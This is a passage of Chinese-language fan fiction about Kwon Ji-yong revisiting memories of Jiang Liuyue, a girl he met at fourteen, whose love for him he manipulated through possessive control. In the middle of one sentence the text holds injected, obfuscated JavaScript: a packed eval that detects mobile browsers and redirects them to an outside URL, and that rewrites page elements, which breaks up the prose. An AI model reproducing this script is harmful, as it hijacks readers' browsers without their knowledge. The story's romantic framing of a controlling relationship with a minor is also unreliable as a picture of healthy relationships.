话,感觉喉咙里都要吐血出来了……”江留月满脸的苦大仇深:“这样恐怖的人,哥哥你难道可以 在他身边生活吗?!不行吧?!不是只有我那么脆弱吧!?” 权志龙再次哽住。 江留月当然不脆弱,她虽然学过一点乐器和交际舞,但想要通过YG的练习生考试并没有那么简单, 权志龙的魔鬼训练可不是说笑的,在短短一个月里狂塞别人几年的练习成果,江留月没有撂挑子不 干已经很了不起了。 “虽然想适当的远离,但,我不讨厌这个哥哥,还挺喜欢他的,工作的时候,练习的时候,当老师的时候,都很有魅力。” 江留月在尔虞我诈的江家呆习惯了,今天的敌人是明天的朋友这种事情每天都在上演,昨天还陷害 她的人可能经过一晚上就立场转变成为今天力挺她的人,也因此她早就习惯了将情绪、身份、事件 三者都剥离开看待。 权志龙性格糟糕,但人不坏,一旦伸手将她拉入了‘自己人’范围,就毫无保留的教她本事,无偿 的贡献出自己的休息时间来陪她练习,尽管她被对方所谓的前后辈身份压制,那也是因为韩国这个 国家规则如此,她在韩国生活,可以讨厌这个规则,但得老老实实的遵守。 没有掀桌子的本事,江留月就不会有掀桌子的脾气,她尽量夹紧尾巴学本事,期待着早日上桌吃饭 的时刻。 权志龙就上桌了,时不时还拨点吃的给她,有些人可能会觉得屈辱,也可能觉得君子不吃嗟来之 食,但江留月很珍惜这拨来的食物——她向来如此,才能在短短数年就从一个不被接受的私生女跻 身进入江家这一代人的核心位置。 如果不是乔娜执意离婚到韩国来,江留月必然属于江家一众孩子中强有力的继承者候选人。 “……那,你会爱上他吗?” 权志龙忍不住问道:“……我是说,爱情那种。” “……” 江留月没有回答,只是用一种一言难尽的表情看着权志龙。 权志龙:“……” 他突然想起来,江留月之前还在吐槽他假装失恋受伤,实际上是躲在家里偷偷玩游戏的事情。 这事儿是真的吗……? 权志龙认真仔细的回忆了一下,然后发现,好像是真的。 这个女友好像就是跟哥哥们一起出去吃饭认识的,交换了号码吃了顿饭就算交往或者暧昧,陷进去 的速度和他们分手的速度一样快。 他的确没怎么伤心,但这个女孩是个很漂亮的模特,周围的人觉得没有了那么漂亮的女朋友他应该 是很伤心的。 氛围都到这了,权志龙就顺势“伤心”了两天,然后窝在宿舍里把游戏刷通关了。 权志龙感到了一阵汗颜,因为他回忆了一下自己的所作所为之后,感受到了当初谎言的拙劣,必然 不会只有江留月能看出来他在说谎,纯属于周围人纵容他罢了。 “真奇怪,哥哥,你怎么会觉得我会爱上志龙哥?” 江留月打了个哆嗦:“……我又不是疯了。” 完了,看起来,真的很讨厌他啊。 权志龙陷入了沮丧之中,然后,江留月的电话响了,她的表情迅速垮了下来。 是乔娜的电话,今天是柳天赐的生日,她要求江留月必须到场。 江留月磨磨唧唧的换衣服准备一出门,权志龙则很紧张,因为每个房间都代表着江留月人生中的重 大事件,这个事情必然让她记忆十分深刻才会成为单独的房间。 无奈的是,随着江留月来到柳家,他就被弹出去了,只能作为一个旁观者。 这不是江留月第一次和乔娜吵架,但绝对是最激烈的一次,江留月的消极让乔娜在生日宴上极为丢 脸,母女俩在结束之后大吵一架,乔娜哭诉江留月心太狠,不肯认自己的亲生父亲,说她不听话, 搞砸了她精心准备的生日宴。 江留月不喜欢韩国的一切,吃不习惯的饭菜听不懂的语言,令人窒息的前后辈制度和讨人厌的陌生 亲戚,她故意不配合这一切就是希望乔娜和柳天赐可以分开。 说到底,她是个十四岁的孩子,她不懂成年人的感情规则,以为只要乔娜和刘天赐分开,她就能重 新回国回到江家去。 如果可以回去江家,江留月会毫不犹豫的抛弃掉刚签约的YG和认识的朋友们,他们都很好,但比起 故乡和她日夜期盼回去的人生,又是那么不值一提。 “我是不是很坏。” 江留月自言自语,她脸颊还残留着被打耳光的红肿,她知道权志龙在‘消失’后还会停留一段时 间,因此习惯性的对他倾诉:“我是个坏小孩,因为看起来妈妈很爱他,但是我只希望他们能分手。” “哥哥们对我很好,公司也在培养我,但是我只想回家。” 江留月坐在公车的最后一排,看着外面的车水马龙,说:“哥哥,我的家怎么会那么远啊。” “我为什么不能像是他们一样,下了公车走几步路就能回到家啊。” 她又摸了摸自己的脸,垂下睫毛,没有说话,而是用袖子抹了抹自己的脸。 因为心里烦闷,江留月坐着公车绕了两圈才下车,下车之后,她又绕着汉江边走了很久都没有回 去。 权志龙看得心惊肉跳,生怕她所谓的人生重大转折是在这个时候遇到了坏人,他试图碰触她,对她 讲话,当然都毫无用处。 他又不敢退出房间,害怕下个房间里一下子跳跃好几个月的时间,只好焦躁的来回在她身边的打 转。 江留月一直在汉江边待到了快要凌晨才起身回家,这里距离她住的公园不算远,她才走了几步,就 听到了急促的脚步声。 江留月下意识的绷紧身子加快脚步,对方也跟着加快,她明显害怕了,跟着立刻开始跑,她记得前 面拐角有24小时便利店,可以在那里躲一躲或者报警。 但显然,对方比她速度快得多,几乎是立刻就抓住了她的后脖颈,江留月吓得哇哇大叫,下意识的 抬腿就踢向对方。 “呀酱得利!!!!!” 熟悉的咆哮和吃痛的声音同时响起来,江留月面色惊恐的被拽着转了个圈,面前站着的人,是拧着 眉毛痛的呜呜哇哇的权志龙。 “志、志龙、志龙哥……?” 她都要吓傻了,说话都磕巴起来。 权志龙痛得眼泪水都出来了,抬手对着她的头就是一下:“呀你这个疯丫头!!现在几点了!?你 疯了吗!?为什么一个人这个时间在江边闲逛?” 江留月被戳得根本不敢吱声,迷茫也只能闭嘴。 “呀,疯丫头,为什么不说话,你父母有没有教你要对前辈说的话好好回答,有没有教过你女孩子不要在晚上瞎跑,现在都几点了,你这个没教养的臭丫头还敢在外面跑?” 【权志龙】看着年轻的自己肆无忌惮对睁大了惊恐双眼的小孩说出这样尖锐、锋利、具有攻击性的 话。 尽管他知道,少年期的自己,根本不知道这个孩子的父母如此失责,也感到惶恐和心痛的看向江留 月。 他以为江留月会哭,但那孩子只是嗫嚅着道歉,然后低下了头。 她没有辩解,也没有哭,只是说着米亚内哟,hyong。 “为什么不接电话,疯丫头,你电话拿来干什么的?你知道我找了……”权志龙猛然闭嘴,然后大 为光火的抓了抓自己乱蓬蓬的头发:“站在这里干什么,你要当电线杆吗?走了,回家!” 她手忙脚乱的拿出自己的电话,发现权志龙给她发了很多短信,先是让她去跑腿,然后发现她不回 复之后开始骂人,随后开始威胁她要来她家抓人,最后是慌乱的询问她为什么不在家,随后是暴躁 的警告她立刻回家,电话更是打了个无数个,她因为静音一个也没接到。 见她不动弹,权志龙火大起来,上来揪着江留月的卫衣帽子往前走,江留月被吊着脖子,走得踉 跄,小手只好去抓权志龙的衣服来稳住平衡。 然后,江留月就愣住了。 此时天气不算暖和也不算冷,但权志龙后背的衣服是湿透的。 即便走路,权志龙喘气的声音也很明显,他大约是绕着她家附近跑了很多圈才找到了她。 江留月低着头,听见权志龙喋喋不休骂人的声音,骂她不听话,骂她不懂事,骂她胆大包天,一个 小女孩竟然大半夜不回家在江边逛,骂她不看社会新闻,骂她再有下次一定打断她的腿,骂她以后 敢不接电话就要把她丢到汉江里面去…… 路灯的照在权志龙的头顶,她于是看的更清楚,权志龙的脖子和头发也全是汗水,他说话的时候尾 音还在因为急促的喘息颤抖。 权志龙把她送回了家,看着她进了门,然后又把她噼里啪啦骂一顿,最后告诉她把门锁好,不许再 偷溜,天亮之前敢出门就要她好看。 “志龙哥,你……要不要喝水……” 江留月看他嘴唇都有些干了,于是嗫嚅道。 然后又挨骂了。 这次骂她没有常识,竟然敢邀请男人进入家里,让她抄写一百遍昨天那首歌的乐谱明天白天教给 他。 “除了你爸爸,别让任何人直接进门,这种事情也不懂?!”权志龙骂累了,捋了一把头发,声音 嘶哑的瞪着她:“站在这里干什么……去冰箱拿瓶水给我啊!!!” 他一直站在玄关外面,只是将手伸过来拿走了那瓶水,然后一口气喝完,把空瓶子塞回去给她: “别忘了垃圾分类,瓶盖要拧开哦。” 江留月接过空瓶子,攥在手里,听到这句话之后,忽然低下了头。 权志龙瞟了一眼,整个人都麻了:“……干什么?怎么了?你干嘛!?” 江留月不说话,只是一个劲儿掉眼泪,哭着哭着人都站不住了,直接蹲在地上,把脸埋在膝盖上 哭。 权志龙人都不好了,也跟着蹲下来,一边抓着自己的头发一边干巴巴的说道:“不是,真哭啊?” 他搓了搓自己的裤子,更加干巴的说道:“为、为什么哭啊……别哭了……呀,让你别哭了……知 道了知道了,我自己弄好吧。” 他从江留月手里抽走那个空瓶子,拧开瓶盖,又撕开瓶子上的塑料纸,然后用两只手抓着,翘着小 拇指戳了戳江留月的胳膊。 “这样行吗?可以不哭了吗?” 江留月不说话,还是哭个没完,动静太大,以至于邻居开门看情况,权志龙整个人都麻了,赶紧将 塑料瓶往兜里一揣,双手把江留月捞起来推进房间关上门,然后站在玄关,更加浑身不自在了。 他这时候嘴也不敢犯贱了,虽然不好意思哄人,只会干巴巴的让对方别哭了,但好在江留月自己情 绪慢慢缓了下来。 权志龙从鞋柜上拿了包纸巾抽出来递给她,然后如释重负的松了口气。 “你真烦人。” 他无可奈何的笑着说。 江留月用红红的兔子眼看着他,权志龙忍不住笑了,他从兜里掏出空瓶子放在鞋柜上,又把瓶盖也 放上去,然后拿着那张塑料纸在手里轻巧的折了一朵花,往江留月的耳朵上一别。 “是礼物,收下吧。” 权志龙揉了揉她的头发: “别哭了。” “我们明天笑着见面吧。” 那孩子于是鼻头眼睛都还是红红的,脸上还挂着泪痕,就露出了笑容。 她蹭了蹭权志龙摸她脑袋的手心,软乎乎的嗯了一声。 【权志龙】静静的看着这一切,然后发出一声叹息。 他忽然觉得,自己问江留月“爱或者不爱”很没有意思。 这孩子哪里懂这些呢,她是被遗弃之后好不容易找了个容身之所,每天都在担惊受怕自己会不会被再次遗弃的小狗,没有人教过她如何保护自己,也没有人教过她怎么去分辨哪些是男女之情哪些是 信任和依赖。 所以理所当然的混乱了。 权志龙离开这个房间之后有一阵子都不敢再进去房间了。 他不知道自己在害怕什么,就是没由来的非常害怕。 他当然很清楚,2005年的自己也好,2006年的自己也好,2008年的自己也好,在没有发现‘尾 巴’之前,他真心的把江留月视为妹妹一样疼爱,至少他自己是这样给了江留月一个身份定义。 可是他现在发现,他好像真的,在意她太早了,参与她的人生太多了,江留月跟随他的时候,他总 是给许多正面的情感反馈,这让那孩子更为积极的近乎盲目的相信他。 他毫不怀疑,当那孩子只是因为‘靠近哥哥觉得安全’而靠近他的时候,他只要告诉他,这是爱, 江留月就会毫不犹豫的相信,这就是男女之情。 “完全犯罪啊。” 权志龙发出痛苦的叹息,他抓着自己的头发,胸口闷得快要无法呼吸。 这很难评判是他故意主观导致的,彼时他也不过是个18岁的少年,猛然多了一个白嫩可爱的妹妹来 当后辈,对方是那么的崇拜信任他,总是用亮晶晶的眼睛看着他,总是在他身边露出笑容,陪他从 寂寂无名走向被聚光灯包围的舞台,他甚至不需要回头,只是勾一勾手指头,就能听到那孩子跑向 自己的脚步声,感觉到那抓住自己手指的软软的热热的手指。 在他低谷的时候,在他痛苦的时刻,那个孩子永远比他先感知到他的痛苦,为他流下更多的眼泪, 他总是能在她纯净漂亮的瞳孔里将自己拼凑完整。 他没有办法不屈服在这样的情感羁绊中。 他没有办法变得不贪婪,不渴求更多,不陷入可能会失去她的恐惧。 江留月对他来说太重要了。 权志龙不知道做了多久的心理建设才推开了下一扇门。 他发现自己正站在YG旧公司的小巷子里。 “……哥哥?” 他的身后传来疑惑的声音。 权志龙回过头,看到十八岁的江留月,她穿着T恤和宽大的短裤,头发扎成一个歪歪扭扭的丸子 头,耳朵上还挂着一边口罩,脚 上趿拉着一双阿迪达斯的三叶草黑底白杠拖鞋,一只手拎着便利袋的黑色塑料袋,一只手拿着一根 已经融化了一半的冰棒。 她看到权志龙的瞬间就瞪大了眼睛,几乎是跑着过来,然后丢掉冰棒去摸权志龙的脸,脸上的兴奋 溢于言表。 这个时间跨度……有点久啊。 权志龙着实有点吃惊。 江留月也在抱怨着他这次真的消失了太久,然后从塑料袋里掏出冰棒给他吃,权志龙看到袋子里有 一个自己喜欢的口味,自己伸手去拿,江留月却一把攥住,脸上表情飘忽闪躲的给了他另外一支。 好在,他并不真的在意这根冰棍,于是一边吃一边陪着江留月往公司的方向走。 也许是这次时间真的间隔太久太久,他总觉得江留月变化很大,她长高了,变得更漂亮更活泼了, 讲话的时候头发上塑料发饰发出哗啦啦的热闹声音,她脸上的笑容变多了,说话的声音也变得更甜 更清脆了。 过了一会儿,权志龙发现了更为微妙的变化。 此时正在和他一起走路的江留月不仅是从青少年成为了少女,举手投足之间也褪去了那种中性感, 变得非常女性化了。 她从见面到现在,除了刚开始的兴奋之后,就变得不敢看他,一直眼睛看地面或者旁边,完全是在 逃避什么。 “你的手机在响。” 权志龙提醒道:“塔伊啊?” 江留月手忙脚乱的拿出手机,结果看到手机屏幕的瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165581|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又立刻合上,她尴尬的笑了笑:“啊, 啊,是公司的电话,让我去工作了,怎么办呢,哥哥。” 撒谎。 小骗子。 权志龙几乎一眼就能看穿,他没有说话,江留月自己就先低下了头,她攥着还在震动的手机,耳朵尖都是红的。 “对不起,我是很想哥哥的。” 她低声道:“我、我只是不知道该怎么跟你说这些年的事情……我也纠结了很久,感觉很愧疚, 但……” 江留月不吱声了,她显然很焦虑,整个人都看起来很紧绷,时不时地想要抬头偷瞄权志龙的反应, 又不敢真的对视。 权志龙愣了一下,他不知道发生了什么,在他的记忆里,此时这个2008年的春末夏初,什么都没有 发生。 江留月第一次专辑活动在这个时候结束了,Bigbang则是在下次回归的准备期,他们之间平静如 水。 甚至,这是自己还没有……发现‘尾巴’的时候? “发生什么事情了?” 权志龙尽量放柔和自己的声音问道:“哥哥不生你的气,但也不要让我太担心,我们不是一直都这样分享秘密的吗?” “塔伊,你知道哥哥永远站在你这边。” 他知道怎么能让江留月放松下来,果然,听完他的话之后,江留月的肩膀明显垮下去一些,她闪闪 躲躲的抬起头看向权志龙,扭捏了一会说道:“我、我没有听话。” “听什么话?” 权志龙甚至迷茫了一下。 可能因为已经开了个头,江留月说话也顺畅了一些,也可能是因为,有些话确实憋的太久太久,她 实在是需要倾诉了。 她攥紧了手里拎着的塑料袋,声音很小的说道: “哥哥,我喜欢上那个人了。” 权志龙的脑子里,几乎是立刻嗡鸣了一声。 他说不出话,所以只有冗长的沉默。 江留月低着头,像是个做错事情的小孩,她不敢抬头看权志龙的反应,只是抠着自己的手指头,冰 棒融化到了极限,从木棍上掉下来砸在她的脚边。 好一会儿,她才听到权志龙的声音。 那个声音听起来,像是很疲惫的样子。 “……为什么呢?” 权志龙似乎是真的不能理解:“塔伊啊……你为什么……” 不是。 什么。 假的吧。 不可能。 这孩子。这孩子,这孩子。 胡说八道。 权志龙竭尽全力去回忆自己脑海中2008年的江留月,他不记得,他真的不记得对方有表现过什么, 真的,和过去的时间里,江留月的反应没有区别。 是梦吗?是什么幻觉吗?还是他的灵魂终于疯了? 塔伊,为什么你会说这种话? “要、要说为什么……”江留月理解错了意思,以为是要她解释为什么会喜欢权志龙,于是磕磕巴 巴的开始了辩解:“我、我也不知道为什么,等我反应过来的时候,好像已经喜欢上了。” 权志龙因为呼吸困难而眼前发花,他嘴里又干又苦,刚才吃的冰棒迅速在沸腾的情感里蒸发。 “你、你知不知道……” 你知不知道,他是个很坏的人啊。 “我知道!!!”江留月急促的打断了权志龙的话,她看起来有点慌,但尽量在让自己不要慌: “我知道志龙哥不会喜欢我这样的小孩,我也知道他会有女朋友,但、但我能管住我自己!” 她慌里慌张掰着手指努力为自己证明:“我可以不被发现的!只要知道志龙哥有喜欢的人,我就会 主动避开的,不会找他吃饭也不会找他发信息,还有,他喜欢的人我也会努力喜欢,我不会吃醋也 不会嫉妒的!” “还、还有,我、我……我不会只看着他,我也能假装喜欢别人,志龙哥给我介绍男朋友我也会认 真去的,啊啊、我、我没有欺骗别人感情哦,我会找别的理由不和他们相处的……啊、还有、还 有……” 江留月见权志龙不说话,明显着急了,她脸蛋都红了,鼻尖上冒出一点点汗,她尽量捋清楚自己的 逻辑:“我也知道不能瞒过你哥哥,但是我真的没能忍住,喜欢这种东西怎么能忍住呢,我真的试 过忍住了,对不起哥哥,我没有听你的话。” 她双手合十搓一搓,试图软化权志龙的态度,小嘴巴越撇越往下,看起来跟要哭了一样:“我知 道,我都知道你要骂我什么,志龙哥对我那么好把我当妹妹我却偷偷喜欢他是我不对,但是我可以 藏得很好,我真的真的不会被发现的,我很擅长忍耐的,我能忍住的。” 她眼巴巴的看着权志龙:“哥哥你不是知道吗?我很能忍……我会忍住的,所以、所以不要生气好不好……?我知道我错了。” 权志龙不知道要说什么。 他只是很混乱。 非常混乱。 他看着眼前的女孩,忽然觉得,自己根本,从来,也不懂江留月。 “我没有生你气,塔伊。” 好一会儿,权志龙才意识到自己该做什么,他抬起手摸了摸江留月的头:“哥哥不生你的气,塔 伊。” “别害怕,我不骂你,你什么都没做错,别害怕。” 江留月呆呆地看着,好一会儿,嘴巴瘪了一下,很委屈的抽噎了一下,权志龙以为她会哭,她却没 有,只是抬起头用倔强的眼神很认真的说道:“我是真心的,哥哥。” “我是真心喜欢那个人的。” 江留月絮絮叨叨的说着她憋了不知道多久的话,她没有任何人可以倾诉的少女心事,她描述的那个 人闪闪发光又浑身伤口,说他心碎的时候,她也难过的掉眼泪。 “他只是在卖惨……在骗你。” 权志龙忍不住说道:“你……你只是心软。” “才不是!!”江留月气鼓鼓的说道:“志龙哥他才不是!!” 说完了,她又有点心虚:“也、也许一部分……我知道他有时候是故意卖惨的,可是,可是他也有 很伤心的时候,我能分辨出来。” “志龙哥不伤心的时候,身上暖呼呼的,他伤心的时候,感觉湿漉漉的,我能感觉到他身上有很多 很多眼泪的味道。” “……塔伊,这个男人……”权志龙想到自己2008年的轨迹就一阵头皮发麻:“他很花心,他很善 变……他要是有女朋友怎么办??这样他只会伤害你。” 江留月顿了一下,她当然也知道,对方说的都是事实。 “他没有伤害我,哥哥。”她认真的对权志龙说道:“志龙哥当然可以有女朋友,因为是我用喜欢 的心情看着他,所以才会被伤害,志龙哥又不喜欢我,所以,他不用回应我,他只是过自己的人生 罢了,他本来就是自由的。” “我不会因为我喜欢他就让他去改变,因为我本来就喜欢他现在的样子。” 权志龙说不出话。 是假的。 他很想大声说,你还小,你不懂依赖和爱的区别,你被迷惑了,塔伊,你只是太缺少爱了,所以对 你稍微好点,你就陷进去了。 但他一个字都说不出来。 要怎么说啊。 真是疯了。 “你会受伤的,塔伊啊。” 他只是有气无力的说出了这句话,就再也忍不住的低下了头。 他不敢去看江留月的眼睛。 那双漂亮的、纯真的、盛满了真心的眼睛。 “没关系,我很会忍。” 江留月认真的说道: “我知道这听起来很轻率,哥哥,但我真的没有办法了,求你了哥哥,不要生气,这个人又不喜欢 我……我、我坚持一阵子……也许我自己就愿意放弃了呢?” 权志龙头晕目眩,他无法回答,他很难受,所以转身就走,江留月急匆匆的跟过来,结果在公司门 口碰到了熟人,对方说话的瞬间,权志龙几乎是立刻就解脱的瘫软在地上。 他完全无法处理这些情绪,他不肯相信。 一定是搞错了。 到底是哪里搞错了。 权志龙失魂落魄的跟在江留月身后,她进了工作室给哥哥们分冰棒,却一直眼巴巴的看着门口。 哥哥们在调侃她去联谊碰到的坏男人,权志龙模糊的记忆在对话中逐渐清晰。 那个人是江留月在人气歌谣当MC认识的爱豆,他当时还真以为他们两个互相有了好感,所以十分不 爽来着。 “志龙哥!” 权志龙下意识答应了一声,却看到江留月兴高采烈的跑向了门口。 ‘权志龙’伸出手稳稳地接住了她,然后揉了揉她的头发,随口接上了众人的话茬。 见鬼……以前他们的肢体接触有那么夸张吗? ‘权志龙’在吐槽江留月看男人的眼光,说自己看女人的眼光更好,权志龙看到江留月本来上扬的 嘴角下意识的撇了一下然后立刻就又笑了起来,跑过去给权志龙找冰棍。 是那个小巷子里没能吃到的口味。 权志龙看着年轻的自己拆开冰棍吃,顺嘴夸奖江留月懂事知道对哥哥好,说要介绍几个好男人给 她。 权志龙都开始感觉到窒息了。 他甚至在心里祈祷,祈祷江留月不要是真的喜欢他。 如果是真的。 那对江留月来说,这也太残忍了。 江留月大概是真的有点伤心,眉毛皱起来嘴巴往下撇,她的这个表情被‘权志龙’捕捉,立刻问她 是不是嫌弃,江留月赶紧顺势和他拌起了嘴,两个人很快就追逐打闹起来。 【哥哥,我很能忍。】 傻子。 你一点都不能忍。 权志龙心想,看看这孩子坐在‘权志龙’身边吃薯片的样子,看看她忍不住想要喂给‘权志龙’一口的样子,眼睛都黏在他的身上,他当年为什么毫无知觉呢? 啊,因为这个孩子一直以来都这样,所以,完全没有感觉到,她的眼神里,逐渐掺杂了许多带着委屈的渴望。 江留月睡着了,权志龙看见年轻的自己脱下昂贵的,别人碰一下都不肯的外套,还动手拆掉上面精 心设计的金属链子,小心的盖在她的身上。 江留月含糊的叫了一声哥哥,小手到处乱摸,权志龙又看见年轻的自己立刻握住了她的一只手,让 她抓着自己的一根手指。 【我真的试过了哥哥,我真的忍不住。】 【我喜欢这个人。】 权志龙脑子轰隆隆的响,他太难受了,于是蹲在地上,近乎无助的捂住了脸。 怎么办啊。 塔伊。 哥哥要怎么办啊。 【我很能忍的。】 【我会忍住,不被发现的。】 【志龙哥又不喜欢我,早晚有一天,我能放下他的。】 权志龙很想哭,却又觉得如果哭的话,似乎太厚脸皮了,他最终只能瘫在地上,捂着自己的脸,一个劲的发抖。 他脑子里滑过很多很多画面。 他想起自己深思熟虑之后的谋算,想起自己架设的一个个感情陷阱,想起自己越发嚣张的主权宣 誓,想起自己越来越过分的肢体接触。 他想起江留月被自己逗得满脸通红的样子,又因为自己刻意冷淡而忐忑不安的样子,被自己在下过 雨的夜晚抓住的时候,说‘塔伊,你被我抓到了,你偷偷喜欢我’的时候看起来快要晕过去的样 子。 塔伊。 如果我不曾得到你的爱,我是多么傲慢得意,我凭借自己的处心积虑的算计和筹划将你揽入怀里。 塔伊。 我要怎么办啊,塔伊。 为什么我靠这种卑劣的谋划和算计得到的,不是你短暂的依赖,不是你被蒙蔽的沉迷,不是你错位 的信任。 偏偏要是你的真心呢。 为什么我要在这个瞬间,才知道,那是你的真心呢? 注:在《似梦非梦》里是纯龙哥视角 在08年场景中,这里的房间和《39章》里24龙进入的房间为同一个,只是视角完全不同。 62.一天一天(下) 62.一天一天(下) “……我说你啊。” 这是一次私人聚会,录制完《话神》之后,金喜善一直说想和江留月一起吃个家宴。 在愉快的聚餐结束之后,江留月在客厅和金喜善家的小狗一起玩,权志龙手里端着杯红酒靠在墙上 看着她和小狗玩击掌的时候,金喜善忽然开口道。 权志龙回过头,脸上还挂着笑容:“怎么了奶奶。”【注:权志龙在童星期间和金喜善相识,金喜 善很喜欢他,开玩笑让龙叫她奶奶,两个人的缘分就此结下。】 “也不要太保护过度了。” 金喜善半开玩笑半认真的说道:“志龙啊,你总是把眼睛紧紧地盯着她虽然是好事儿,但是,不要 太保护过度了。” “总要让这孩子知道周围的危险在哪里,你又不能永远在她身边。” “这是什么话啊,奶奶。” 权志龙不以为意。 此时的他刚打完了漂亮的翻身仗,更是如愿以偿捕获了自己心爱的小蝴蝶,两个人正是蜜里调油的 热恋期,感情事业春风得意,让他连说话都轻飘飘的带着笑意。 他想也不想的说道:“我当然会永远都在她身边守着。” 金喜善露出受不了的表情,然后用有些忧虑的眼神看向江留月,纯真又洁白,一看就知道被保护得 极好。 刚才在酒宴上,金喜善难免聊起了一些圈内的事情,江留月听得眼珠子都要掉出来了,嘴巴都张大 了,显然对她说的很多事情都一无所知。 “这孩子什么都不知道,她不关心这些。” 权志龙将江留月刚弄掉的勺子擦拭干净之后重新放在她面前的盘子里,伸手摸了摸她的耳垂,声音 里带着笑意: “别吓她了。” 金喜善大为震撼。 她明明记得这孩子也跟她说的这些人一起拍摄合作过,再怎么样也会有所耳闻,江留月那不作假的 表情和权志龙微妙又暗爽的得意样子,让金喜善意识到,这孩子几乎被密不透风的保护着。 “你以为这是什么好事儿吗?” 金喜善见权志龙这听不进去的样子,就觉得头痛。 “我做得很好的,放心吧。” 权志龙的确是听不进去,他抬下巴指了指已经和狗狗玩得快要滚成一团的江留月,脸上只有炫耀和 得意的表情。 他所言非虚。 韩国最大的粉丝论坛有一次发起过一次投票,叫做“如果可以选择,你愿意成为哪个艺人。” 在女性网民那里,江留月的投票碾压式获得第一名。 任谁看来,她都堪称韩国艺人顺风顺水的典范,天生的美人胚子不用在脸上动刀,一把好嗓子不费 劲儿就能唱出别人苦练之后才达到的音域,不管是容貌皮肤身材,就算是跨代对标的女艺人们也没 几个能打得过的,家境富裕,父亲还是艺术世家,带来不凡的审美与气质,还肯将她送去当歌手。 练习生期没有受到公司严苛的制度压迫,没有被迫一天只能吃一个苹果这种苦难,十五六岁的时候 靠拍CF和封面获得了名气之后,公司也没有逼迫她去大量接通告赚钱,或者拍一些争议性的东西。 刚进公司的时候,公司是个小作坊,管理松散,待到她要出道,前辈组合又大爆特爆,带来滚滚财源和各种曝光资源,公司大制作人亲自操刀制作出道专辑,Bigbang又是出人feating又是带她上综 艺,轻松拿到了当年的新人奖。 最难得的是,不管是摄像头下还是实际生活中,公司的前辈们都对她真心喜爱,呵护有加,不管谁 提起她,都会说:“怎么会有人不喜欢Alice呢。” 这样度过幸福人生的江留月,也总是脸上洋溢着灿烂的笑容,漂亮的眼睛里亮晶晶的闪烁着单纯幸 福的光芒,白净的小脸一看就是“没有吃过一点苦”的样子。 不光是网民们羡慕,就连同期的爱豆和艺人,都对江留月的待遇羡慕不已,甚至引发了YG女练习生 报名狂潮。 因为过着这样的人生,江留月成了一个不应该有眼泪的人。 “多让人羡慕啊,Alice。” “一次也好,真想过一次你的人生啊,塔伊。” “老天爷你怎么那么不公平呜呜呜呜。” “Alice,一天也好,我们两个能换着活一天吗?” 这种话总是围绕着江留月,她越是听得多,想要向外倾诉的嘴就越难以张开。 她只好露出不好意思的笑容,垂下睫毛遮住自己的双眼里的忧愁。 权志龙也说过:“我们家塔伊,好像没有像是别的小孩那样的思春期【注:韩国将青春期/叛逆期 称为思春期】,就一直都很乖巧,很听话,很可爱的长大了。” 权志龙一直都对此很自豪。 他的确把人养得很好,练习生期间也就罢了,Bigbang刚出道没火那年,江留月很努力为他们打宣 传,还害怕他们伤心,自己偷偷假装粉丝写信、发邮件、送礼物,当时少年人的自尊心和傲气不允 许权志龙戳穿这些,只是在凭借《谎言》大火之后,他一股脑要把江留月曾经对他们的好一百倍的 还给年幼的妹妹。 江留月被他养得越发水灵漂亮,周围觊觎的目光也越来越多,好在此时权志龙已经逐渐掌握发言 权,本来江留月就应该趁着他们谎言大获成功就立刻出道的,他硬是拖了她大半年,才让她趁着 bigbang回归的尾巴跟着出道。 他在江留月身上耗费了无数心血,自然不可能容忍他人染指,在意识到自己对江留月的情感已经变质之后,日益膨胀的占有欲和偏执,更是让他把人牢牢地圈在自己能够掌控的圈子里活动。 江留月当然也提出过很多次抗议,比如她有想要尝试的综艺,也有想要合作的演员,也曾接收到别 的歌手的feating邀约,再比如她去了语言学校,学校里会有社团活动,也会有联谊、聚餐…… 权志龙要不然就不许她去,要不然就掐着点接送,江留月讨厌他这样的大包大揽,生了好多次气, 权志龙却显得比她还要委屈:“哥是因为关心你才这样的,你知道我昨天几点才下通告吗?人怎么 能那么没有良心,嗯?” 他用手指戳江留月的脑瓜,江留月被戳的脑瓜都跟着晃,撇着小嘴满脸都写着不高兴。 “行,那你去玩吧,那就别跟我玩了。” 权志龙非常喜欢用这句话‘威胁’她,更喜欢看到江留月每次都被‘威胁’到,虽然委屈也立刻道 歉,抓着他的衣角撒娇的样子。 权志龙对这种游戏乐此不疲,他贪恋于江留月在‘权志龙’和‘别的人’之间总是会坚定的选择他 时,那种心脏麻酥酥的爽感和得意。 一次一次又一次,江留月总是会选择他。 权志龙却从没有意识到过,这是因为江留月在偷偷的喜欢他。 他回忆起自己的20初代,自己也觉得算不上什么好人,他也知道自己的很多行为很过火,这样糟糕 的自己,是回忆起来都会进行自我审判的存在,到底凭什么被江留月喜欢呢? “他是个很温柔的人。” 江留月不服气的说道。 她并不知道自己面对的是来自于未来的权志龙,也不知道自己会在未来想尽一切办法要逃脱自己现 在恋慕的这个人。 她只是对‘哥哥’的质疑发出反击,拼尽力气维护着自己心中的权志龙。 “虽然嘴巴很坏,但也只是嘴巴很坏,我能分得清楚,志龙哥是为我好。”江留月很认真的说道: “哥哥,你不要觉得志龙哥打扮得很另类,看起来凶巴巴,看起来不好说话就是个坏人,看人不可 以只看表面,要靠近他了解他,我喜欢的是一个很值得喜欢的人。” 她掰着手指头数权志龙对她的好,许多细节甚至细到权志龙都觉得惊讶的程度,他自己的记忆里早 就模糊的事情,在江留月这里却是那么的值得记住。 听着听着,他的心中就像是被针细细密密的扎过一样。 江留月真的太好骗了。 他说什么,这孩子都傻乎乎的相信。 相信他是熬了好几天才写出了给她的歌曲,相信他随手折起来的纸玫瑰自己学了很久,相信玩滑板 摔伤的口子是为了着急来见她,还相信他蹩脚的迟到、爽约的借口,相信他随口说出的承诺。 “他是个骗子,塔伊啊,你不也知道,他是个骗子吗?” 在练习生的时候轻易就能看出他的伪装和谎言的小孩,现在却只是倔强的抿着嘴不吱声。 权志龙闭上眼睛,感到一阵绝望。 